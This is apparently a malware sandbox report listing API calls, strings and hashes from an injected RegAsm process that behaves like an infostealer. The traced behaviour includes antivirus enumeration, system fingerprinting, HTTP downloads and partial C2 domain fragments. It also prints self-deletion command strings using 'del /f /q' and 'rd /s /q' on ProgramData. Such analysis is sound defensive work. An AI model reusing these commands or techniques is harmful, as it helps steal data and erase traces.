Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$7fb8096dba7218243f8f6f7a994751d3$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-21780447
Opcode ID: 7b25bb2eaa3a6cd7e0aea663192725cd6b06aabe44a9b574830072b1d532ec21
Instruction ID: 6931a3cdf0a24aa58a91b10b9e7b8ba7caee6cf73e2bca90393059e53503fd57
Opcode Fuzzy Hash: 7b25bb2eaa3a6cd7e0aea663192725cd6b06aabe44a9b574830072b1d532ec21
Instruction Fuzzy Hash: A89231715483419FC620FF26D94268EB7E1FF84308F51482FF58467191DBB8AA8D8B9B

Function 004135A8 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

false, xrefs: 004136C5
true, xrefs: 004136A6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: a279cf5f2d9bb332d4ea2d779ea3926242373e75fc1a37c080be92b7bd300130
Instruction ID: c59aadfba82ba9961634352731141a8533392cfc76d17a14f51357a5b51db833
Opcode Fuzzy Hash: a279cf5f2d9bb332d4ea2d779ea3926242373e75fc1a37c080be92b7bd300130
Instruction Fuzzy Hash: 5DB16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

\xA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$\xA
API String ID: 442264750-571280152
Opcode ID: e5d221f0112c41c2442819da8cf0992f09120ff3d4c743fde11cfb3d63f6140b
Instruction ID: d8c65d4c733feb9e18663b71d867c9ad77c8898020ac32f61dd77686cef25eee
Opcode Fuzzy Hash: e5d221f0112c41c2442819da8cf0992f09120ff3d4c743fde11cfb3d63f6140b
Instruction Fuzzy Hash: B75118B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F55

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Select * From AntiVirusProduct, xrefs: 00411A23
WQL, xrefs: 00411A28
Unknown, xrefs: 00411AB4
Unknown, xrefs: 00411AA0
Unknown, xrefs: 00411A99
displayName, xrefs: 00411A6F
root\SecurityCenter2, xrefs: 004119F0

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 480d15d956828979c5f7302475284e9aad0b9c9fae78b991fe73a890f857e370
Instruction ID: 57f5dd6b1c42f14037633b54d5227166f1307bde404719c4590db73b27f854ba
Opcode Fuzzy Hash: 480d15d956828979c5f7302475284e9aad0b9c9fae78b991fe73a890f857e370
Instruction Fuzzy Hash: 6B314F70A44245BBCB20DB91DC49EEFBF7DEFC9B10F20561AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043A9EC), ref: 004012D0
lstrcatA.KERNEL32(?,0043A9F0), ref: 004012DE
lstrcatA.KERNEL32(?,0043A9F4), ref: 004012EC
lstrcatA.KERNEL32(?,0043A9F8), ref: 004012FA
lstrcatA.KERNEL32(?,0043A9FC), ref: 00401308
lstrcatA.KERNEL32(?,0043AA00), ref: 00401316
lstrcatA.KERNEL32(?,0043AA04), ref: 00401324
lstrcatA.KERNEL32(?,0043AA08), ref: 00401332
lstrcatA.KERNEL32(?,0043AA0C), ref: 00401340
lstrcatA.KERNEL32(?,0043AA10), ref: 0040134E
lstrcatA.KERNEL32(?,0043AA14), ref: 0040135C
lstrcatA.KERNEL32(?,0043AA18), ref: 0040136A
lstrcatA.KERNEL32(?,0043AA1C), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 4e95ee71ea5f19c30ae725a6a9fe72d1a6a4a1b746d6da9d57ec7068e279e0e8
Instruction ID: 239c304b61717195b0da288002eafcd0eca44a14d3e88ecdb176445cbc2bad3c
Opcode Fuzzy Hash: 4e95ee71ea5f19c30ae725a6a9fe72d1a6a4a1b746d6da9d57ec7068e279e0e8
Instruction Fuzzy Hash: BD4196B2D4422C66DB20DB719C59FDB7BAC9F18310F5005A3A9D8F3181D67CDA84CB98

Function 00418271 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00418296
_memset.LIBCMT ref: 004182A5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 004182BA

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 00418456
_memset.LIBCMT ref: 00418465
_memset.LIBCMT ref: 00418477
ExitProcess.KERNEL32 ref: 00418487

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00418390
" & exit, xrefs: 004183DA
" & exit, xrefs: 00418389
" & rd /s /q "C:\ProgramData\, xrefs: 00418333
/c timeout /t 10 & del /f /q ", xrefs: 004182E5

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 8889f6fbfac350e87a9fc1ced9bd81b6a41981885844d669c09df08f1be7d461
Instruction ID: c0b88dd988d93b421ffa70f66641025a2a3514e4fd921881642ee0a142b314ca
Opcode Fuzzy Hash: 8889f6fbfac350e87a9fc1ced9bd81b6a41981885844d669c09df08f1be7d461
Instruction Fuzzy Hash: A951ACB1D4022A9BCB61EF15CD85ADDB3BCAB44708F4110EAA718B3151DA746FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

QuBi, xrefs: 00410A27
C, xrefs: 004109DF
:\, xrefs: 00410A06
wA, xrefs: 00410B21

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: wA$:\$C$QuBi
API String ID: 1856320939-1441494722
Opcode ID: 67b1be9e31ade1d1e820cd34b34a28b7063542f71b3e79275d8882d479f03449
Instruction ID: d36f890e74e7e8ef669b83a96deb31b174d36e7948efbde015f1e97a0a99ead9
Opcode Fuzzy Hash: 67b1be9e31ade1d1e820cd34b34a28b7063542f71b3e79275d8882d479f03449
Instruction Fuzzy Hash: B941AFB1A042289BCB249F749D85ADEBAB9EF19308F0000EAF109E3121E6758FD58F54

Function 00411203 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC

Strings

%s\%s, xrefs: 004112D7
?, xrefs: 00411263
- , xrefs: 004113E6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 1736561257-3278919252
Opcode ID: 617242c50c5e9a7485eda1de3311a44ff0c10fdc2246e554a89d168bc2664c5f
Instruction ID: a1c3be3d6f3fdb40de360404d346c16f4973fffda027df273c7b2494bd9b7707
Opcode Fuzzy Hash: 617242c50c5e9a7485eda1de3311a44ff0c10fdc2246e554a89d168bc2664c5f
Instruction Fuzzy Hash: A861F6B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: 856b629bf82c4ff1a83c675378c3e7c10b8657cdf3afe6ec6eeb97d6b7c5d7bf
Instruction ID: 1d44a0941bf69239cbc718c5fc054d573873141a30687fa59e6c761baef87c5b
Opcode Fuzzy Hash: 856b629bf82c4ff1a83c675378c3e7c10b8657cdf3afe6ec6eeb97d6b7c5d7bf
Instruction Fuzzy Hash: 22411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA9

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 00416977
ERROR, xrefs: 00416985
ERROR, xrefs: 0041696D
ERROR, xrefs: 00416914
ERROR, xrefs: 0041697E

Memory Dump Source
